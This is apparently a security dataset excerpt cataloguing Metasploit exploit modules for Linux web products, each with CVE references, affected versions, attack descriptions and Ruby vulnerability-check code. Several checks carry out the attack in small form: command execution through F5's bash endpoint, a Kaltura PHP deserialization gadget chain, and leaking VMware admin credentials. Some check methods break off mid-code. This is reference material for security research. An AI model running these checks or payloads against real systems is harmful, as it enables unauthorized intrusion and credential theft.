deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Fortinet FortiNAC keyUpload.jsp arbitrary file write
Type: exploit
Path: modules/exploits/linux/http/fortinac_keyupload_file_write.rb
Platform: unix
Disclosure date: 2023-02-16
References: URL-https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/, URL-https://www.fortiguard.com/psirt/FG-IR-22-300, URL-https://github.com/horizon3ai/CVE-2022-39952, URL-https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952, CVE-2022-39952
Targets: CMD, Linux x86, Linux x64

Description:
This module uploads a payload to the /tmp directory in addition to a cron job
          to /etc/cron.d which executes the payload in the context of the root user.

          The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which
          is accessible remotely and without authentication. When you send the vulnerable
          endpoint a ZIP file, it will extract an attacker controlled file to a directory
          of the attackers choice on the target system.

          This issue is exploitable on the following versions of FortiNAC:

          FortiNAC version 9.4 prior to 9.4.1
          FortiNAC version 9.2 prior to 9.2.6
          FortiNAC version 9.1 prior to 9.1.8
          FortiNAC 8.8 all versions
          FortiNAC 8.7 all versions
          FortiNAC 8.6 all versions
          FortiNAC 8.5 all versions
          FortiNAC 8.3 all versions

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
      'method' => 'POST'
    })

    return Exploit::CheckCode::Unknown('Target did not respond') unless res
    return Exploit::CheckCode::Safe("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200
    return Exploit::CheckCode::Appears('Target indicated a successful upload occurred!') if res.body.include?('yams.jsp.portal.SuccessfulUpload')

    Exploit::CheckCode::Safe('The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!')
  end
Metasploit Module: Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution
Type: exploit
Path: modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
Platform: unix
Disclosure date: 2007-09-09
References: OSVDB-40521, BID-25694, CVE-2007-3010, URL-http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm

Description:
This module abuses a metacharacter injection vulnerability in the
          HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
          Communication Server 7.1 and earlier. The Unified Maintenance Tool
          contains a 'masterCGI' binary which allows an unauthenticated attacker
          to execute arbitrary commands by specifying shell metacharaters as the
          'user' within the 'ping' action to obtain 'httpd' user access. This
          module only supports command line payloads, as the httpd process kills
          the reverse/bind shell spawn after the HTTP 200 OK response.
Metasploit Module: F5 BIG-IP iControl RCE via REST Authentication Bypass
Type: exploit
Path: modules/exploits/linux/http/f5_icontrol_rce.rb
Platform: unix
Disclosure date: 2022-05-04
References: CVE-2022-1388, URL-https://support.f5.com/csp/article/K23605346, URL-https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/, URL-https://github.com/alt3kx/CVE-2022-1388_PoC
Targets: Unix Command, Linux Dropper

Description:
This module exploits an authentication bypass vulnerability
          in the F5 BIG-IP iControl REST service to gain access to the
          admin account, which is capable of executing commands
          through the /mgmt/tm/util/bash endpoint.

          Successful exploitation results in remote code execution
          as the root user.

Check method (fingerprinting):
print_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),
      'method' => 'GET'
    })

    return CheckCode::Unknown('Could not determine the target status') unless res&.code == 401

    body = res.get_json_document

    return CheckCode::Safe('The target is not vulnerable') unless body.key?('message') && body['kind'] == ':resterrorresponse'

    signature = Rex::Text.rand_text_alpha(13)
    stub = "echo #{signature}"
    res = send_command(stub)
    return CheckCode::Safe('The target is not vulnerable') unless res&.code == 200

    body = res.get_json_document

    return CheckCode::Safe('The target is not vulnerable') unless body['kind'] == 'tm:util:bash:runstate'

    return CheckCode::Vulnerable('The target is vulnerable') if body['commandResult'].chomp == signature

    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Kloxo SQL Injection and Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/kloxo_sqli.rb
Platform: unix
Disclosure date: 2014-01-28
References: CVE-2014-125123, URL-https://vpsboard.com/topic/3384-kloxo-installations-compromised/, URL-http://www.webhostingtalk.com/showthread.php?p=8996984, URL-http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646

Description:
This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
          exploited in the wild on January 2014. The SQL injection issue can be abused in order to
          retrieve the Kloxo admin cleartext password from the database. With admin access to the
          web control panel, remote PHP code execution can be achieved by abusing the Command Center
          function. The module tries to find the first server in the tree view, unless the server
          information is provided, in which case it executes the payload there.

Check method (fingerprinting):
return Exploit::CheckCode::Safe('The target is not vulnerable') unless webcommand_exists?
    return Exploit::CheckCode::Safe('The target is not vulnerable') if exploit_sqli(1, bad_char(0))
    return Exploit::CheckCode::Safe('The target is not vulnerable') unless pefix_found?

    Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end
Metasploit Module: Ray Agent Job RCE
Type: exploit
Path: modules/exploits/linux/http/ray_agent_job_rce.rb
Platform: linux
Disclosure date: 2023-11-15
References: CVE-2023-48022, URL-https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/, URL-https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/
Targets: Linux x64, Linux x86, Linux aarch64, Linux Command

Description:
RCE in Ray via the agent job submission endpoint.
          This is intended functionality as Ray's main purpose is executing arbitrary workloads.
          By default Ray has no authentication.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/version')
    })
    return Exploit::CheckCode::Unknown('Could not determine the target status') unless res && res.code == 200

    ray_version = res.get_json_document['ray_version']

    return Exploit::CheckCode::Unknown('Could not determine the target status') unless ray_version

    return Exploit::CheckCode::Safe("Version #{ray_version} is not vulnerable") unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')

    @job_data = get_job_data('ls')
    return Exploit::CheckCode::Vulnerable("Exploitable: version #{ray_version} is vulnerable") unless @job_data.nil?

    Exploit::CheckCode::Appears("Version #{ray_version} appears to be vulnerable")
  end
Metasploit Module: Vesta Control Panel Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/vestacp_exec.rb
Platform: python
Disclosure date: 2020-03-17
References: URL-https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/, CVE-2020-10808

Description:
This module exploits an authenticated command injection vulnerability in the v-list-user-backups
          bash script file in Vesta Control Panel to gain remote code execution as the root user.
Metasploit Module: Geutebruck testaction.cgi Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/geutebruck_testaction_exec.rb
Platform: unix
Disclosure date: 2020-05-20
References: CVE-2020-16205, URL-https://www.geutebrueck.com/index.html, URL-https://ics-cert.us-cert.gov/advisories/icsa-20-219-03, URL-https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/

Description:
This module exploits an authenticated arbitrary command execution vulnerability within the 'server'
          GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
          ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware
          versions 1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set to 'ntp'.
          Successful exploitation results in remote code execution as the root user.

Check method (fingerprinting):
result = firmware
    return result unless result == true

    version = Rex::Version.new(@version)
    vprint_status "Found Geutebruck version #{version}"
    if version < Rex::Version.new('1.12.0.25') || version == Rex::Version.new('1.12.13.2') || version == Rex::Version.new('1.12.14.5')
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: Unauthenticated RCE in NetAlertX
Type: exploit
Path: modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb
Disclosure date: 2025-01-30
References: CVE-2024-46506, URL-https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/, URL-https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506
Targets: Linux Command

Description:
An attacker can update NetAlertX settings with no authentication, which results in RCE.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'maintenance.php')
    })
    return Exploit::CheckCode::Unknown('Could not determine the target status') unless res&.code == 200

    html_document = res&.get_html_document
    return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?

    version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
    return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?

    version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))

    Exploit::CheckCode::Appears("Version #{version} detected.")
  end
Metasploit Module: Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064
Type: exploit
Path: modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb
Platform: linux
Disclosure date: 2016-11-07
References: CVE-2016-10372, EDB-40740, URL-https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/, URL-https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759, URL-https://broadband-forum.org/technical/download/TR-064.pdf
Targets: MIPS Big Endian, MIPS Little Endian

Description:
Broadband DSL modems manufactured by Zyxel and distributed by some
          European ISPs are vulnerable to a command injection vulnerability when setting
          the 'NewNTPServer' value using the TR-64 SOAP-based configuration protocol. In
          the tested case, no authentication is required to set this value on affected
          DSL modems.

          This exploit was originally tested on firmware versions up to 2.00(AADU.5)_20150909.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => '/globe'
      })
    rescue ::Rex::ConnectionError
      vprint_error("#{peer} - A connection error has occurred")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res and res.code == 404 and res.body =~ /home_wan\.htm/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal
Type: exploit
Path: modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb
Platform: ruby
Disclosure date: Sep 4 2013
Authors: Ramon de C Valle
References: CVE-2013-2068, URL-https://bugzilla.redhat.com/show_bug.cgi?id=960422

Description:
This module exploits a path traversal vulnerability in the "linuxpkgs"
        action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
        (ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
        It uploads a fake controller to the controllers directory of the Rails
        application with the encoded payload as an action and sends a request to
        this action to execute the payload. Optionally, it can also upload a routing
        file containing a route to the action. (Which is not necessary, since the
        application already contains a general default route.)

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "ping.html")
    )

    if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: VMware vRealize Operations (vROps) Manager SSRF RCE
Type: exploit
Path: modules/exploits/linux/http/vmware_vrops_mgr_ssrf_rce.rb
Platform: linux
Disclosure date: 2021-03-30
References: CVE-2021-21975, CVE-2021-21983, URL-https://www.vmware.com/security/advisories/VMSA-2021-0004.html, URL-https://twitter.com/ptswarm/status/[PII_REDACTED]32382976, URL-https://attackerkb.com/topics/51Vx3lNI7B/cve-2021-21975#rapid7-analysis

Description:
This module exploits a pre-auth SSRF (CVE-2021-21975) and post-auth
          file write (CVE-2021-21983) in VMware vRealize Operations Manager to
          leak admin creds and write/execute a JSP payload.

          CVE-2021-21975 affects the /casa/nodes/thumbprints endpoint, and
          CVE-2021-21983 affects the /casa/private/config/slice/ha/certificate
          endpoint. Code execution occurs as the "admin" Unix user.

          The following vRealize Operations Manager versions are vulnerable:

          * 7.0.0
          * 7.5.0
          * 8.0.0, 8.0.1
          * 8.1.0, 8.1.1
          * 8.2.0
          * 8.3.0

          Version 8.3.0 is not exploitable for creds and is therefore not
          supported by this module. Tested successfully against 8.0.1, 8.1.0,
          8.1.1, and 8.2.0.

Check method (fingerprinting):
leak_admin_creds ? CheckCode::Vulnerable('Successfully leaked admin credentials via SSRF') : CheckCode::Safe('Could not leak admin credentials via SSRF')
  end
Metasploit Module: OpenTSDB 2.4.1 unauthenticated command injection
Type: exploit
Path: modules/exploits/linux/http/opentsdb_key_cmd_injection.rb
Platform: linux
Disclosure date: 2023-07-01
References: CVE-2023-36812, CVE-2023-25826

Description:
This module exploits an unauthenticated command injection
          vulnerability in the key parameter in OpenTSDB through
          2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve
          unauthenticated remote code execution as the root user.

          The module first attempts to obtain the OpenTSDB version via
          the api. If the version is 2.4.1 or lower, the module
          performs additional checks to obtain the configured metrics
          and aggregators. It then randomly selects one metric and one
          aggregator and uses those to instruct the target server to
          plot a graph. As part of this request, the key parameter is
          set to the payload, which will then be executed by the target
          if the latter is vulnerable.

          This module has been successfully tested against OpenTSDB
          version 2.4.1.

Check method (fingerprinting):
# sanity check to see if the target is likely OpenTSDB
    res1 = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    unless res1
      return CheckCode::Unknown('Connection failed.')
    end

    unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')
      return CheckCode::Safe('Target is not an OpenTSDB application.')
    end

    # get the version via the api
    res2 = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'version')
    })

    unless res2
      return CheckCode::Unknown('Connection failed.')
    end

    unless res2.code == 200 && res2.body.include?('version')
      return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')
    end

    begin
      parsed_res_body = JSON.parse(res2.body)
    rescue JSON::ParserError
      return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
    end

    unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')
      return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
    end

    version = parsed_res_body['version']

    begin
      if Rex::Version.new(version) <= Rex::Version.new('2.4.1')
        return CheckCode::Appears("The target is OpenTSDB version #{version}")
      else
Metasploit Module: Kaltura Remote PHP Code Execution over Cookie
Type: exploit
Path: modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb
Platform: php
Disclosure date: 2017-09-12
References: CVE-2017-14143

Description:
This module exploits an Object Injection vulnerability in Kaltura.
          By exploiting this vulnerability, unauthenticated users can execute
          arbitrary code under the context of the web server user.

          Kaltura makes use of a hardcoded cookie secret which allows to sign
          arbitrary cookie data. After passing this signature check, the base64-
          decoded data is passed to PHPs unserialize() function which allows for
          code execution. The constructed object is again based on the SektionEins
          Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are
          affected by this issue.

          A valid entry_id (which is required for this exploit) can be obtained
          from any media resource published on the kaltura installation.

          This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.

Check method (fingerprinting):
r = rand_text_alpha(15 + rand(4))
    entry_id = datastore['ENTRYID']
    cmd = "print_r(#{r}).die()"

    p = ""
    p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
    p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
    p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
    p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
    p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
    p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
    p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"

    encoded = Rex::Text.encode_base64(p)
    hash = Rex::Text.md5("#{encoded}#{CookieSecret}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
      'vars_get' => {
        'list_type' => '15',
        'entry_id' => entry_id
      },
      'cookie' => "userzone=#{encoded}#{hash}"
    )

    if res && res.redirect?
      print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
      Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif res && res.body.include?(r)
      Exploit::CheckCode::Vulnerable('The target is vulnerable')
    elsif !check_entryid
      print_error("Invalid
Metasploit Module: Metabase Setup Token RCE
Type: exploit
Path: modules/exploits/linux/http/metabase_setup_token_rce.rb
Platform: unix
Disclosure date: 2023-07-22
References: URL-https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/, URL-https://www.metabase.com/blog/security-advisory, CVE-2023-38646

Description:
Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token
          is accessible even after the setup process has been completed. With this token
          a user is able to submit the setup functionality to create a new database.
          When creating a new database, an H2 database string is created with a TRIGGER
          that allows for code execution. We use a sample database for our connection
          string to prevent corrupting real databases.

          Successfully tested against Metabase 0.46.6, 0.44.4, 0.42.1.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )

    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    json = get_bootstrap_json_blob_from_html_resp(res)
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
    version = json.dig('version', 'tag')
    return CheckCode::Unknown("#{peer} - Unable to determine version from JSON blob") if version.nil?

    # typically v0.46.6
    version = version.gsub('v', '')

    if Rex::Version.new(version) < Rex::Version.new('0.46.6.1')
      return CheckCode::Appears("Version Detected: #{version}")
    end

    CheckCode::Safe("Version not vulnerable: #{version}")
  end
Metasploit Module: Webmin File Manager RCE
Type: exploit
Path: modules/exploits/linux/http/webmin_file_manager_rce.rb
Platform: linux
Disclosure date: 2022-02-26
References: URL-https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/, URL-https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell, CVE-2022-0824
Targets: Automatic (Unix In-Memory)

Description:
In Webmin version 1.984, any authenticated low privilege user without access rights to
          the File Manager module could interact with file manager functionalities such as downloading files from remote URLs and
          changing file permissions. It is possible to achieve Remote Code Execution via a crafted .cgi file by chaining those
          functionalities in the file manager.

Check method (fingerprinting):
webmin_check('0', '1.984')
  end